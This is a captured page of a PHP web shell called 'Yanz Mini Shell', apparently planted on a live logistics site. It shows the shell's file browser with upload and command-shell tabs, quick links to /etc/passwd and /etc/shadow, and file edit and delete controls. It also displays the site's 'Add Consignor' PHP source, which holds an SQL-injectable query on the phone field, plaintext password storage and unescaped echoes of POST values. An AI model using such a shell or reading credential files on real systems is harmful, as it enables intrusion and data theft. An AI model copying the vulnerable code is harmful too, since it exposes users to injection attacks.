Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
fastclick
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php require_once('header.php'); ?> <?php if($allPermissions['client']['create']=="1"){ ?> <?php if(isset($_POST['form1'])) { // var_dump($_POST); $valid = 1; if(empty($_POST['full_name'])) { $valid = 0; $error_message .= 'Name can not be empty<br>'; } if(empty($_POST['email'])) { $valid = 0; $error_message .= 'email can not be empty<br>'; } if(empty($_POST['client_id'])) { $valid = 0; $error_message .= 'Client can not be empty<br>'; } if(empty($_POST['gst_no'])) { $valid = 0; $error_message .= 'GST Number can not be empty<br>'; } if(empty($_POST['phone'])) { $valid = 0; $error_message .= 'Phone No can not be empty<br>'; } if(empty($_POST['address'])) { $valid = 0; $error_message .= 'Address can not be empty<br>'; } if(empty($_POST['location'])) { $valid = 0; $error_message .= 'Location can not be empty<br>'; } if(empty($_POST['status'])) { $valid = 0; $error_message .= 'Status Code can not be empty<br>'; } if(empty($_POST['password'])) { $valid = 0; $error_message .= 'Password can not be empty<br>'; } if(empty($_POST['city'])) { $valid = 0; $error_message .= 'City can not be empty<br>'; } if(empty($_POST['state'])) { $valid = 0; $error_message .= 'State can not be empty<br>'; } if(empty($_POST['pincode'])) { $valid = 0; $error_message .= 'pincode can not be empty<br>'; } if(empty($_POST['air_amt'])) { $valid = 0; $error_message .= 'Air Amount can not be empty<br>'; } if(empty($_POST['surface_amt'])) { $valid = 0; $error_message .= 'Surface Amount can not be empty<br>'; } $code=$_POST['phone']; $branch_id = $_POST['branch_id']; $statement = $pdo->prepare("SELECT * FROM tbl_user where phone='$code'"); $statement->execute(); $result = $statement->fetchAll(PDO::FETCH_ASSOC); if($result) { $valid=0; $error_message .= 'Phone No Already Exist<br>'; } if($valid==1) { $statement = $pdo->prepare("INSERT INTO tbl_user (full_name, email, gst_no, phone, address, location, status, password, city, state, pincode, role, role_id, branch_id,air_amt,surface_amt,client_id) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); $statement->execute(array($_POST['full_name'],$_POST['email'],$_POST['gst_no'],$_POST['phone'],$_POST['address'],$_POST['location'],$_POST['status'],$_POST['password'],$_POST['city'],$_POST['state'],$_POST['pincode'],$_POST['role'],2, $branch_id, $_POST['air_amt'], $_POST['surface_amt'], $_POST['client_id'])); $success_message = 'Consignor is Added Successfully!'; unset($_POST['full_name']); unset($_POST['client_id']); unset($_POST['email']); unset($_POST['gst_no']); unset($_POST['phone']); unset($_POST['address']); unset($_POST['status']); unset($_POST['location']); unset($_POST['password']); unset($_POST['city']); unset($_POST['state']); unset($_POST['pincode']); unset($_POST['air_amt']); unset($_POST['surface_amt']); } } ?> <section class="content-header" style="background-color: white;"> <!--<div class="content-header-left"> <h1>Add Clients</h1> </div> <div class="content-header-right"> <a href="user.php" class="btn btn-primary btn-sm">View All</a> </div> </section> <section class="content">--> <div class="row"> <div class="col-md-4" style="text-align: left;"> <h4><i class="fa fa-map-marker"></i> Add Consignor Details</h4> </div> <div class="col-md-8" style="text-align: right;"> <a href="user.php" class="btn btn-warning btn-sm"><i class="fa fa-arrow-left"></i> Back to Consignor List</a> </div> </div> <div class="row"> <div class="col-md-12"> <?php if($error_message): ?> <div class="callout callout-danger"> <p> <?php echo $error_message; ?> </p> </div> <?php endif; ?> <?php if($success_message): ?> <div class="callout callout-success"> <p><?php echo $success_message; ?></p> </div> <?php endif; ?> <form class="form-horizontal" action="" method="post" enctype="multipart/form-data"> <div class="box box-info" <?=$border_style?>> <div class="box-body"> <div class="form-group"> <label for="branch_id" class="col-sm-2 control-label required">Select Branch </label> <div class="col-sm-6"> <select name="branch_id" id="branch_id" class="form-control select2" required> <?php $statement = $pdo->prepare("SELECT * FROM `tbl_branch` WHERE status=1 "); $statement->execute(); $result = $statement->fetchAll(PDO::FETCH_ASSOC); foreach($result as $rows) { ?> <option value="<?php echo $rows['id']; ?>"> <?php echo $rows['name']; ?> </option> <?php } ?> </select> </div> </div> <div class="form-group"> <label for="client_id" class="col-sm-2 control-label required">Select Client </label> <div class="col-sm-6"> <select name="client_id" id="client_id" class="form-control select2" required> <option value=''>Select Client</option> </select> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">Name </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter Name" class="form-control" name="full_name" value="<?php if(isset($_POST['full_name'])){echo $_POST['full_name'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">Email </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter Email Address" class="form-control" name="email" value="<?php if(isset($_POST['email'])){echo $_POST['email'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">Phone Number </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter Phone Number" class="form-control" name="phone" value="<?php if(isset($_POST['phone'])){echo $_POST['phone'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">GST Number </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter GST Number" class="form-control" name="gst_no" value="<?php if(isset($_POST['gst_no'])){echo $_POST['gst_no'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">Address </label> <div class="col-sm-6"> <textarea class="form-control" name="address" placeholder="Address" id="address" style="height:50px;"><?php if(isset($_POST['address'])){echo $_POST['address'];} ?></textarea> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">Location </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter Location" class="form-control" name="location" value="<?php if(isset($_POST['location'])){echo $_POST['location'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">City </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter City" class="form-control" name="city" value="<?php if(isset($_POST['city'])){echo $_POST['city'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">State </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter State" class="form-control" name="state" value="<?php if(isset($_POST['state'])){echo $_POST['state'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label required">Pincode </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter Pincode" class="form-control" name="pincode" value="<?php if(isset($_POST['pincode'])){echo $_POST['pincode'];} ?>"> </div> </div> <input type="hidden" autocomplete="off" class="form-control" name="role" value="Modicare"> <input type="hidden" autocomplete="off" class="form-control" name="status" value="Active"> <div class="form-group"> <label for="" class="col-sm-2 control-label required">Password </label> <div class="col-sm-6"> <input type="text" autocomplete="off" placeholder="Enter Password" class="form-control" name="password" value="<?php if(isset($_POST['password'])){echo $_POST['password'];} ?>"> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label">Surface Calculation (ex 4500 or 5500) <span>*</span></label> <div class="col-sm-6"> <input type="number" autocomplete="off" class="form-control" name="surface_amt" id="surface_amt" required> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label">Air Calculation (ex 4500 or 5500) <span>*</span></label> <div class="col-sm-6"> <input type="number" autocomplete="off" class="form-control" name="air_amt" id="air_amt" required> </div> </div> <div class="form-group"> <label for="" class="col-sm-2 control-label"></label> <div class="col-sm-6"> <button type="submit" class="btn btn-success pull-left" name="form1">Submit</button> </div> </div> </div> </div> </form> </div> </div> </section> <?php }else{ ?> <center><h4 style="color:red;">You don't have permission to add Consignor </h4></center> <?php } ?> <script> $(document).ready(function(){ get_client_details(); }); $("#branch_id").change(function () { get_client_details(); }); function get_client_details(){ $('#client_id').empty(); var branch_id=$('#branch_id').val(); $.ajax({ url: 'api/get-clients-api.php', type: 'post', dataType: 'json', data: {type:'get_client_details',branch_id:branch_id}, success: function (response) { console.log(response); if(response['error']==false){ var m=''; m+='<option value="">Select Client Name<span style="text-fill-color: red;">*</span></option>'; for(var n=0;n<response['data'].length;n++){ m+='<option value='+response['data'][n]['id']+'>'+response['data'][n]['name']+'</option>'; } $('#client_id').append(m); } } }); } </script> <?php require_once('footer.php'); ?>
Free Space : 11945906176 Byte